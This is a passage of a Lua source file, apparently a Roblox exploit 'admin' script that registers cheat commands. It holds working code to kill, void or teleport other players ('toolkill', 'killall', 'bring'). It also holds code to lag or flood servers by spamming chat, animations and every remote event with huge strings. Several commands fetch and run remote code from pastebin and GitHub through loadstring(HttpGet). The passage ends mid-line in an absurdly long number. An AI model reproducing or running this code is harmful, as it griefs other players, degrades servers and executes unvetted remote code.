1159 | local hatAmount, grabbed = 0, {} |
1160 | local lastCF = character.PrimaryPart.CFrame |
1161 | character:ClearAllChildren() |
1162 | respawn() |
1163 | repeat |
1164 | if character.Name ~= "respawn_" then |
1165 | repeat wait() until character:FindFirstChildWhichIsA("Accoutrement") |
1166 | wait(0.75) |
1167 | character:MoveTo(lastCF.p) |
1168 | wait(0.25) |
1169 | for i, v in pairs(character:GetChildren()) do |
1170 | if v:IsA("Accoutrement") then |
1171 | v:WaitForChild("Handle") |
1172 | v.Parent = workspace |
1173 | table.insert(grabbed, v) |
1174 | end |
1175 | end |
1176 | hatAmount = hatAmount + 1 |
1177 | end |
1178 | character:ClearAllChildren() |
1179 | respawn() |
1180 | wait() |
1181 | until |
1182 | hatAmount >= amt |
1183 | |
1184 | repeat wait() until tostring(localPlayer.Character) ~= "respawn_" and localPlayer.Character |
1185 | wait(0.5) |
1186 | |
1187 | spawn(function() |
1188 | repeat wait() until character.PrimaryPart |
1189 | wait(0.2) |
1190 | character:SetPrimaryPartCFrame(lastCF) |
1191 | |
1192 | for _, hat in pairs(grabbed) do |
1193 | if hat:IsA("Accoutrement") and hat:FindFirstChild("Handle") then |
1194 | hat.Parent = workspace |
1195 | wait() |
1196 | end |
1197 | end |
1198 | end) |
1199 | end) |
1200 | |
1201 | cmd.add({"equiptools", "equipall"}, {"equiptools", "Equip all of your tools"}, function() |
1202 | game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent = game.Players.LocalPlayer.Character |
1203 | end) |
1204 | |
1205 | cmd.add({"f3x", "clientf3x"}, {"f3x", "F3X for trolling"}, function() |
1206 | loadstring(game:GetObjects("rbxassetid://6695644299")[1].Source)() |
1207 | end) |
1208 | |
1209 | cmd.add({"droptools"}, {"droptools", "Drop your equipped tools"}, function() |
1210 | game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent = game.Workspace |
1211 | end) |
1212 | |
1213 | cmd.add({"unequiptools"}, {"unequiptools", "Unequip your equipped tools"}, function() |
1214 | local h = character:FindFirstChildWhichIsA("Humanoid") |
1215 | if h then |
1216 | h:UnequipTools() |
1217 | end |
1218 | end) |
1219 | |
1220 | cmd.add({"notools"}, {"notools", "Remove your tools"}, function() |
1221 | for _, tool in pairs(character:GetChildren()) do |
1222 | if tool:IsA("Tool") then |
1223 | tool:Destroy() |
1224 | end |
1225 | end |
1226 | for _, tool in pairs(localPlayer.Backpack:GetChildren()) do |
1227 | if tool:IsA("Tool") then |
1228 | tool:Destroy() |
1229 | end |
1230 | end |
1231 | end) |
1232 | |
1233 | cmd.add({"toolkill"}, {"toolkill <player>", "Kill the given players without FE god"}, function(p) |
1234 | local players = argument.getPlayers(p) |
1235 | local backpack = localPlayer:FindFirstChildWhichIsA("Backpack") |
1236 | local hum = character:FindFirstChildWhichIsA("Humanoid") |
1237 | local root = character:FindFirstChild("HumanoidRootPart") |
1238 | local point = root.CFrame |
1239 | |
1240 | if not backpack:FindFirstChildWhichIsA("Tool") then |
1241 | lib.messageOut("toolkill", "Cannot bring players, no tools found") |
1242 | return |
1243 | end |
1244 | |
1245 | if backpack and hum then |
1246 | local tools = getTools(#players+1) |
1247 | wait() |
1248 | for i, v in pairs(tools) do |
1249 | v.Parent = character |
1250 | end |
1251 | wait() |
1252 | for i, v in pairs(tools) do |
1253 | v.Parent = workspace |
1254 | end |
1255 | wait(.2) |
1256 | for key, player in pairs(players) do |
1257 | local target = player.Character |
1258 | if target and player ~= localPlayer then |
1259 | root = character:FindFirstChild("HumanoidRootPart") |
1260 | local assignedTool = tools[key+1] |
1261 | local handle = assignedTool:FindFirstChild("Handle") |
1262 | local targetPart = target:FindFirstChild("HumanoidRootPart") |
1263 | if handle and targetPart then |
1264 | local schar = character |
1265 | repeat |
1266 | wait() |
1267 | root.CFrame = CFrame.new(900, workspace.FallenPartsDestroyHeight+15, 900) |
1268 | root.Velocity = Vector3.new(0, 0, 0) |
1269 | targetPart.CFrame = CFrame.new(root.Position + root.CFrame.rightVector) |
1270 | until |
1271 | assignedTool.Parent ~= workspace or localPlayer.Character ~= schar |
1272 | |
1273 | wait(0.1) |
1274 | for i, v in pairs(character:GetDescendants()) do |
1275 | if v.Name:find("Grip") and v:isA("Weld") then |
1276 | v:Destroy() |
1277 | end |
1278 | end |
1279 | wait() |
1280 | root.CFrame = point |
1281 | end |
1282 | end |
1283 | end |
1284 | end |
1285 | end) |
1286 | |
1287 | cmd.add({"void"}, {"void <player>", "Kill the given players without FE god"}, function(p) |
1288 | local players = argument.getPlayers(p) |
1289 | local backpack = localPlayer:FindFirstChildWhichIsA("Backpack") |
1290 | local hum = character:FindFirstChildWhichIsA("Humanoid") |
1291 | local root = character:FindFirstChild("HumanoidRootPart") |
1292 | local point = root.CFrame |
1293 | |
1294 | if not backpack:FindFirstChildWhichIsA("Tool") then |
1295 | lib.messageOut("void", "Cannot bring players, no tools found") |
1296 | return |
1297 | end |
1298 | |
1299 | if backpack and hum then |
1300 | local tools = getTools(#players+1) |
1301 | wait() |
1302 | for i, v in pairs(tools) do |
1303 | v.Parent = character |
1304 | end |
1305 | wait() |
1306 | for i, v in pairs(tools) do |
1307 | v.Parent = workspace |
1308 | end |
1309 | wait(.2) |
1310 | for key, player in pairs(players) do |
1311 | local target = player.Character |
1312 | if target and player ~= localPlayer then |
1313 | root = character:FindFirstChild("HumanoidRootPart") |
1314 | local assignedTool = tools[key+1] |
1315 | local handle = assignedTool:FindFirstChild("Handle") |
1316 | local targetPart = target:FindFirstChild("HumanoidRootPart") |
1317 | if handle and targetPart then |
1318 | local schar = character |
1319 | repeat |
1320 | RunService.RenderStepped:Wait() |
1321 | root.CFrame = CFrame.new(800, workspace.FallenPartsDestroyHeight + 5, 800) |
1322 | targetPart.CFrame = CFrame.new(root.Position + root.CFrame.rightVector) |
1323 | until |
1324 | assignedTool.Parent ~= workspace or localPlayer.Character ~= schar |
1325 | root.CFrame = CFrame.new(800, workspace.FallenPartsDestroyHeight + 5, 800) |
1326 | end |
1327 | end |
1328 | end |
1329 | end |
1330 | end) |
1331 | |
1332 | cmd.add({"killall", "toolkillall"}, {"killall", "Kill all players using tools"}, function() |
1333 | local players = Players:GetPlayers() |
1334 | local backpack = localPlayer:FindFirstChildWhichIsA("Backpack") |
1335 | local hum = character:FindFirstChildWhichIsA("Humanoid") |
1336 | local root = character:FindFirstChild("HumanoidRootPart") |
1337 | local point = root.CFrame |
1338 | |
1339 | if not backpack:FindFirstChildWhichIsA("Tool") then |
1340 | lib.messageOut("killall", "Cannot bring players, no tools found") |
1341 | return |
1342 | end |
1343 | |
1344 | if backpack and hum then |
1345 | local tools = getTools(#players*3) |
1346 | wait() |
1347 | for i, v in pairs(tools) do |
1348 | v.Grip = v.Grip * CFrame.new(math.random(-16, 16)/8,0,math.random(-16, 16)/8) |
1349 | v.Parent = character |
1350 | end |
1351 | wait() |
1352 | for i, v in pairs(tools) do |
1353 | v.Parent = workspace |
1354 | end |
1355 | wait(.2) |
1356 | for key, player in pairs(players) do |
1357 | local target = player.Character |
1358 | if target and player ~= localPlayer then |
1359 | root = character:FindFirstChild("HumanoidRootPart") |
1360 | local assignedTool = tools[key+1] |
1361 | local handle = assignedTool:FindFirstChild("Handle") |
1362 | local targetPart = target:FindFirstChild("HumanoidRootPart") |
1363 | if handle and targetPart then |
1364 | local schar = character |
1365 | wrap(function() |
1366 | repeat |
1367 | RunService.RenderStepped:Wait() |
1368 | root.CFrame = CFrame.new(900, workspace.FallenPartsDestroyHeight+30, 900) |
1369 | targetPart.CFrame = CFrame.new(root.Position + root.CFrame.rightVector) |
1370 | until |
1371 | assignedTool.Parent ~= workspace or localPlayer.Character ~= schar |
1372 | wait(0.4) |
1373 | for i, v in pairs(character:GetDescendants()) do |
1374 | if v:isA("Weld") then |
1375 | if v.Part0 == handle or v.Part1 == handle then |
1376 | v:Destroy() |
1377 | end |
1378 | end |
1379 | end |
1380 | end) |
1381 | end |
1382 | end |
1383 | end |
1384 | end |
1385 | end) |
1386 | |
1387 | cmd.add({"bringall"}, {"bringall", "Bring all players using tools"}, function() |
1388 | local players = Players:GetPlayers() |
1389 | local backpack = localPlayer:FindFirstChildWhichIsA("Backpack") |
1390 | local hum = character:FindFirstChildWhichIsA("Humanoid") |
1391 | local root = character:FindFirstChild("HumanoidRootPart") |
1392 | local point = root.CFrame |
1393 | |
1394 | if not backpack:FindFirstChildWhichIsA("Tool") then |
1395 | lib.messageOut("bringall", "Cannot bring players, no tools found") |
1396 | return |
1397 | end |
1398 | |
1399 | if backpack and hum then |
1400 | local tools = getTools(#players*3) |
1401 | wait() |
1402 | for i, v in pairs(tools) do |
1403 | v.Grip = v.Grip * CFrame.new(math.random(-16, 16)/8,0,math.random(-16, 16)/8) |
1404 | v.Parent = character |
1405 | end |
1406 | wait() |
1407 | for i, v in pairs(tools) do |
1408 | v.Parent = workspace |
1409 | end |
1410 | wait(.2) |
1411 | for key, player in pairs(players) do |
1412 | local target = player.Character |
1413 | if target and player ~= localPlayer then |
1414 | root = character:FindFirstChild("HumanoidRootPart") |
1415 | local assignedTool = tools[key+1] |
1416 | local handle = assignedTool:FindFirstChild("Handle") |
1417 | local targetPart = target:FindFirstChild("HumanoidRootPart") |
1418 | if handle and targetPart then |
1419 | local schar = character |
1420 | wrap(function() |
1421 | repeat |
1422 | wait() |
1423 | root.CFrame = point |
1424 | targetPart.CFrame = CFrame.new(root.Position + root.CFrame.rightVector) |
1425 | until |
1426 | assignedTool.Parent ~= workspace or localPlayer.Character ~= schar |
1427 | root.CFrame = point |
1428 | end) |
1429 | end |
1430 | end |
1431 | end |
1432 | end |
1433 | end) |
1434 | |
1435 | cmd.add({"bring"}, {"bring <player>", "Bring the given player(s)"}, function(p) |
1436 | local players = argument.getPlayers(p) |
1437 | local backpack = localPlayer:FindFirstChildWhichIsA("Backpack") |
1438 | local hum = character:FindFirstChildWhichIsA("Humanoid") |
1439 | local root = character:FindFirstChild("HumanoidRootPart") |
1440 | local point = root.CFrame |
1441 | |
1442 | if not backpack:FindFirstChildWhichIsA("Tool") then |
1443 | lib.messageOut("bring <player>", "Cannot bring players, no tools found") |
1444 | return |
1445 | end |
1446 | |
1447 | if backpack and hum then |
1448 | local tools = getTools(#players+1) |
1449 | wait() |
1450 | for i, v in pairs(tools) do |
1451 | v.Parent = character |
1452 | end |
1453 | wait() |
1454 | for i, v in pairs(tools) do |
1455 | v.Parent = workspace |
1456 | end |
1457 | wait() |
1458 | for key, player in pairs(players) do |
1459 | local target = player.Character |
1460 | if target and player ~= localPlayer then |
1461 | root = character:FindFirstChild("HumanoidRootPart") |
1462 | local assignedTool = tools[key+1] |
1463 | local handle = assignedTool:FindFirstChild("Handle") |
1464 | local targetPart = target:FindFirstChild("HumanoidRootPart") |
1465 | if handle and targetPart then |
1466 | local schar = character |
1467 | wrap(function() |
1468 | repeat |
1469 | wait() |
1470 | targetPart.CFrame = handle.CFrame |
1471 | root.CFrame = point |
1472 | until |
1473 | assignedTool.Parent ~= workspace or localPlayer.Character ~= schar |
1474 | for i, v in pairs(character:GetDescendants()) do |
1475 | if v.Name:find("Grip") and v:isA("Weld") then |
1476 | if v.Part0 == handle or v.Part1 == handle then |
1477 | v:Destroy() |
1478 | end |
1479 | end |
1480 | end |
1481 | end) |
1482 | end |
1483 | end |
1484 | end |
1485 | end |
1486 | end) |
1487 | |
1488 | cmd.add({"chatspam"}, {"chatspam <number>", "Repeatedly chat a massive string <N> at a time"}, function(n) |
1489 | local amt = tonumber(n) or 1 |
1490 | lib.connect("spam", RunService.RenderStepped:Connect(function() |
1491 | for i = 1, amt do |
1492 | localPlayer:Chat(("💖"):rep(120000)) |
1493 | end |
1494 | end)) |
1495 | end) |
1496 | |
1497 | cmd.add({"errorlag", "animlag", "serverlag"}, {"animlag <number>", "Repeatedly error the server with a massive string <N> at a time"}, function(n) |
1498 | local amt = tonumber(n) or 1 |
1499 | local i = 1234 |
1500 | local symbols = {"💖","❤️","🔥","👍","🎉","😜","💯","💜","😈","💦"} |
1501 | local function err(...) |
1502 | i = i + 1 |
1503 | if i > 30000 then i = 1000 end |
1504 | local hum = character:FindFirstChildWhichIsA("Humanoid") |
1505 | local animation = Instance.new("Animation") |
1506 | animation.AnimationId = (symbols[math.random(1, #symbols)]):rep(i) |
1507 | hum:LoadAnimation(animation):Play() |
1508 | animation:Destroy() |
1509 | end |
1510 | lib.connect("spam", RunService.RenderStepped:Connect(function() |
1511 | for i = 1, amt do |
1512 | err() |
1513 | end |
1514 | end)) |
1515 | end) |
1516 | |
1517 | cmd.add({"soundspam", "playallsounds"}, {"soundspam", "Repeatedly play all sounds"}, function() |
1518 | if SoundService.RespectFilteringEnabled == true then lib.messageOut("soundspam", "Sounds will not replicate") return end |
1519 | local sounds = {} |
1520 | for i, v in pairs(getinstances and getinstances() or game:GetDescendants()) do |
1521 | pcall(function() |
1522 | if v:IsA("Sound") and v:IsDescendantOf(workspace) then |
1523 | table.insert(sounds, v) |
1524 | end |
1525 | end) |
1526 | end |
1527 | local c = lib.connect("spam", RunService.RenderStepped:Connect(function() end)) |
1528 | while c.Connected do |
1529 | for _, sound in pairs(sounds) do |
1530 | sound:Play() |
1531 | sound.TimePosition = sound.TimeLength/3 |
1532 | end |
1533 | wait(0.15) |
1534 | end |
1535 | end) |
1536 | |
1537 | cmd.add({"remotespam", "exhaust"}, {"remotespam <number>", "Repeatedly fire all remotes <N> at a time"}, function(n) |
1538 | local amt = tonumber(n) or 1 |
1539 | local events, functions = {}, {} |
1540 | local str = ("💖"):rep(120000) |
1541 | for i, v in pairs(getinstances and getinstances() or game:GetDescendants()) do |
1542 | pcall(function() |
1543 | if v.Name:find("%d") == 1 then return end |
1544 | if v:IsA("RemoteEvent") then |
1545 | table.insert(events, v) |
1546 | elseif v:IsA("RemoteFunction") then |
1547 | table.insert(functions, v) |
1548 | end |
1549 | end) |
1550 | end |
1551 | lib.connect("spam", RunService.Stepped:Connect(function() |
1552 | for i = 1, amt do |
1553 | spawn(function() |
1554 | for _, remote in pairs(events) do |
1555 | remote:FireServer(str) |
1556 | end |
1557 | for _, remote in pairs(functions) do |
1558 | remote:InvokeServer(str) |
1559 | end |
1560 | end) |
1561 | end |
1562 | end)) |
1563 | end) |
1564 | |
1565 | cmd.add({"unspam", "unlag", "unchatspam", "unanimlag", "unremotespam"}, {"unspam", "Stop all attempts to lag/spam"}, function() |
1566 | lib.disconnect("spam") |
1567 | end) |
1568 | |
1569 | cmd.add({"ping", "lag"}, {"ping <ms>", "Set your replication lag to a value"}, function(n) |
1570 | local ping = (tonumber(n) or 0)/1000 |
1571 | settings():GetService("NetworkSettings").IncommingReplicationLag = ping |
1572 | end) |
1573 | |
1574 | cmd.add({"refresh", "re"}, {"refresh", "Respawn your character and teleport back to your previous position"}, function() |
1575 | local cf, p = CFrame.new(), character:FindFirstChild("HumanoidRootPart") or character:FindFirstChild("Head") |
1576 | if p then |
1577 | cf = p.CFrame |
1578 | end |
1579 | respawn() |
1580 | player.CharacterAdded:Wait(); wait(0.2); |
1581 | character:WaitForChild("HumanoidRootPart").CFrame = cf |
1582 | end) |
1583 | |
1584 | cmd.add({"respawn"}, {"respawn", "Respawn your character"}, function() |
1585 | respawn() |
1586 | end) |
1587 | |
1588 | cmd.add({"trip", "platformstand"}, {"trip", "Trip your player"}, function() |
1589 | local hum = character:FindFirstChildWhichIsA("Humanoid") |
1590 | local hrp = character:FindFirstChild("HumanoidRootPart") |
1591 | if hum then |
1592 | if hrp then |
1593 | hrp.RotVelocity = Vector3.new(-5, 0, 0) |
1594 | end |
1595 | hum.PlatformStand = true |
1596 | end |
1597 | end) |
1598 | |
1599 | cmd.add({"stand", "untrip"}, {"stand", "Stand up"}, function() |
1600 | local hum = character:FindFirstChildWhichIsA("Humanoid") |
1601 | if hum then |
1602 | hum.PlatformStand = false |
1603 | end |
1604 | end) |
1605 | |
1606 | cmd.add({"sit"}, {"sit", "Sit your player"}, function() |
1607 | local hum = character:FindFirstChildWhichIsA("Humanoid") |
1608 | if hum then |
1609 | hum.Sit = true |
1610 | end |
1611 | end) |
1612 | |
1613 | cmd.add({"backdoorscan"}, {"backdoorscan", "Scans for any backdoors using FraktureSS"}, function() |
1614 | loadstring(game:HttpGet("https://raw.githubusercontent.com/L1ghtingBolt/FraktureSS/master/unobfuscated.lua"))() |
1615 | end) |
1616 | |
1617 | cmd.add({"antikill", "nofekill", "antifekill"}, {"antikill", "Toggle FE kill prevention -Cyrus"}, function() |
1618 | |
1619 | if connections["antifekill"] then lib.disconnect("antifekill") return end |
1620 | local LP = game:GetService'Players'.LocalPlayer |
1621 | local OldCFrame = LP.Character.Head.CFrame |
1622 | local debounce = false |
1623 | local tools = {} |
1624 | for _,v in pairs(LP.Backpack:GetChildren()) do |
1625 | if v:IsA'Tool' then |
1626 | table.insert(tools,v) |
1627 | end |
1628 | end |
1629 | lib.connect("antifekill", LP.Character.ChildAdded:Connect(function(h) |
1630 | for _,v in pairs(tools) do if h == v then return end end |
1631 | if h:IsA'Tool' then |
1632 | table.insert(tools,h) |
1633 | LP.Backpack:FindFirstChildOfClass'Tool'.Parent = LP.Character |
1634 | LP.Character:FindFirstChildOfClass'Tool'.Parent = LP.Backpack |
1635 | for i = 1,50 do |
1636 | LP.Character.HumanoidRootPart.CFrame = OldCFrame |
1637 | end |
1638 | debounce = true |
1639 | repeat wait(1) until not LP.Character:FindFirstChildOfClass'Tool' |
1640 | debounce = false |
1641 | if not debounce then |
1642 | OldCFrame = LP.Character.Head.CFrame + Vector3.new(0,5,0) |
1643 | end |
1644 | end |
1645 | end)) |
1646 | |
1647 | lib.connect("antifekill", LP.Character.ChildRemoved:Connect(function(a) |
1648 | if a:IsA'Tool' then |
1649 | table.insert(tools,a) |
1650 | end |
1651 | end)) |
1652 | end) |
1653 | |
1654 | cmd.add({"move", "addpos", "translate", "trans"}, {"move <X,Y,Z>", "Moves your character by the given X,Y,Z coordinates"}, function(p) |
1655 | local players = argument.getPlayers(p) |
1656 | local pos = lib.parseText(p, opt.tupleSeparator) |
1657 | if character then |
1658 | if pos and #pos == 3 then |
1659 | local x,y,z = pos[1], pos[2], pos[3] |
1660 | character:TranslateBy(Vector3.new(x, y, z)) |
1661 | end |
1662 | end |
1663 | end) |
1664 | |
1665 | local flyPart |
1666 | cmd.add({"fly"}, {"fly [speed]", "Enable flight"}, function(speed) |
1667 | if not speed then speed = 5 end |
1668 | if connections["fly"] then lib.disconnect("fly") character:FindFirstChildWhichIsA("Humanoid").PlatformStand = false end |
1669 | local dir = {w = false, a = false, s = false, d = false} |
1670 | local cf = Instance.new("CFrameValue") |
1671 | |
1672 | flyPart = flyPart or Instance.new("Part") |
1673 | flyPart.Anchored = true |
1674 | pcall(function() |
1675 | flyPart.CFrame = character.HumanoidRootPart.CFrame |
1676 | end) |
1677 | |
1678 | lib.connect("fly", RunService.RenderStepped:Connect(function() |
1679 | if not character:FindFirstChild("HumanoidRootPart") then return end |
1680 | local primaryPart = character.HumanoidRootPart |
1681 | local humanoid = character:FindFirstChildWhichIsA("Humanoid") |
1682 | |
1683 | local x, y, z = 0, 0, 0 |
1684 | if dir.w then z = -1 * speed end |
1685 | if dir.a then x = -1 * speed end |
1686 | if dir.s then z = 1 * speed end |
1687 | if dir.d then x = 1 * speed end |
1688 | if dir.q then y = 1 * speed end |
1689 | if dir.e then y = -1 * speed end |
1690 | |
1691 | for i, v in pairs(character:GetDescendants()) do |
1692 | if v:IsA("BasePart") then |
1693 | v.Velocity = Vector3.new(0, 0, 0) |
1694 | v.RotVelocity = Vector3.new(0, 0, 0) |
1695 | end |
1696 | end |
1697 | flyPart.CFrame = CFrame.new( |
1698 | flyPart.CFrame.p, |
1699 | (camera.CFrame * CFrame.new(0, 0, -100)).p |
1700 | ) |
1701 | |
1702 | local moveDir = CFrame.new(x,y,z) |
1703 | cf.Value = cf.Value:lerp(moveDir, 0.2) |
1704 | flyPart.CFrame = flyPart.CFrame:lerp(flyPart.CFrame * cf.Value, 0.2) |
1705 | primaryPart.CFrame = flyPart.CFrame |
1706 | humanoid.PlatformStand = true |
1707 | end)) |
1708 | lib.connect("fly", UserInputService.InputBegan:Connect(function(input, event) |
1709 | if event then return end |
1710 | local code, codes = input.KeyCode, Enum.KeyCode |
1711 | if code == codes.W then |
1712 | dir.w = true |
1713 | elseif code == codes.A then |
1714 | dir.a = true |
1715 | elseif code == codes.S then |
1716 | dir.s = true |
1717 | elseif code == codes.D then |
1718 | dir.d = true |
1719 | elseif code == codes.Q then |
1720 | dir.q = true |
1721 | elseif code == codes.E then |
1722 | dir.e = true |
1723 | elseif code == codes.Space then |
1724 | dir.q = true |
1725 | end |
1726 | end)) |
1727 | lib.connect("fly", UserInputService.InputEnded:Connect(function(input, event) |
1728 | if event then return end |
1729 | local code, codes = input.KeyCode, Enum.KeyCode |
1730 | if code == codes.W then |
1731 | dir.w = false |
1732 | elseif code == codes.A then |
1733 | dir.a = false |
1734 | elseif code == codes.S then |
1735 | dir.s = false |
1736 | elseif code == codes.D then |
1737 | dir.d = false |
1738 | elseif code == codes.Q then |
1739 | dir.q = false |
1740 | elseif code == codes.E then |
1741 | dir.e = false |
1742 | elseif code == codes.Space then |
1743 | dir.q = false |
1744 | end |
1745 | end)) |
1746 | end) |
1747 | cmd.add({"unfly"}, {"unfly", "Disable flight"}, function() |
1748 | lib.disconnect("fly") |
1749 | flyPart:Destroy() |
1750 | character:FindFirstChildWhichIsA("Humanoid").PlatformStand = false |
1751 | end) |
1752 | |
1753 | cmd.add({"unanchorednograv"}, {"unanchorednograv", "Makes unanchored parts have 0 gravity"}, function() |
1754 | loadstring(game:HttpGet("https://pastebin.com/raw/MHdBcJQL", true))() |
1755 | end) |
1756 | |
1757 | cmd.add({"partgrabber"}, {"partgrabber", "Press Q"}, function() |
1758 | |
1759 | |
1760 | |
1761 | local player = game.Players.LocalPlayer.Character |
1762 | local mouse = game.Players.LocalPlayer:GetMouse() |
1763 | local key = game:GetService("UserInputService") |
1764 | |
1765 | BodyAngularVelocity = true |
1766 | local keyyy = Enum.KeyCode.Q |
1767 | |
1768 | |
1769 | local y = 5.7 |
1770 | local y2 = 7.2 |
1771 | local P = 1000000 |
1772 | local V = Vector3.new(100000,100000,100000) |
1773 | local SBT = Instance.new("SelectionBox") |
1774 | SBT.Name = "SB" |
1775 | SBT.Parent = player.HumanoidRootPart |
1776 | SBT.Adornee = player.HumanoidRootPart |
1777 | SBT.Color3 = Color3.new(0,0,0) |
1778 | |
1779 | while wait(.3) do |
1780 | key.InputBegan:Connect(function(k) |
1781 | if k.KeyCode == keyyy then |
1782 | local handle = mouse.Target |
1783 | if handle.Anchored == false then |
1784 | wait(.3) |
1785 | handle.Position = handle.Position + Vector3.new(0,1,0) |
1786 | local BP = Instance.new("BodyPosition") |
1787 | BP.Name = "BP" |
1788 | BP.Parent = handle |
1789 | BP.P = P |
1790 | BP.MaxForce = V |
1791 | local SB = Instance.new("SelectionBox") |
1792 | SB.Name = "SB" |
1793 | SB.Parent = handle |
1794 | SB.Adornee = handle |
1795 | local colour = math.random(1,7) |
1796 | if colour == 1 then |
1797 | SB.Color3 = Color3.new(255,0,0) |
1798 | end |
1799 | if colour == 2 then |
1800 | SB.Color3 = Color3.new(255,170,0) |
1801 | end |
1802 | if colour == 3 then |
1803 | SB.Color3 = Color3.new(255,255,0) |
1804 | end |
1805 | if colour == 4 then |
1806 | SB.Color3 = Color3.new(0,255,0) |
1807 | end |
1808 | if colour == 5 then |
1809 | SB.Color3 = Color3.new(0,170,255) |
1810 | end |
1811 | if colour == 6 then |
1812 | SB.Color3 = Color3.new(170,0,255) |
1813 | end |
1814 | if colour == 7 then |
1815 | SB.Color3 = Color3.new(0,0,0) |
1816 | end |
1817 | player.Torso.Anchored = true |
1818 | if BodyAngularVelocity == true then |
1819 | local BAV = Instance.new("BodyAngularVelocity") |
1820 | BAV.Name = "BAV" |
1821 | BAV.Parent = handle |
1822 | BAV.P = 99900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000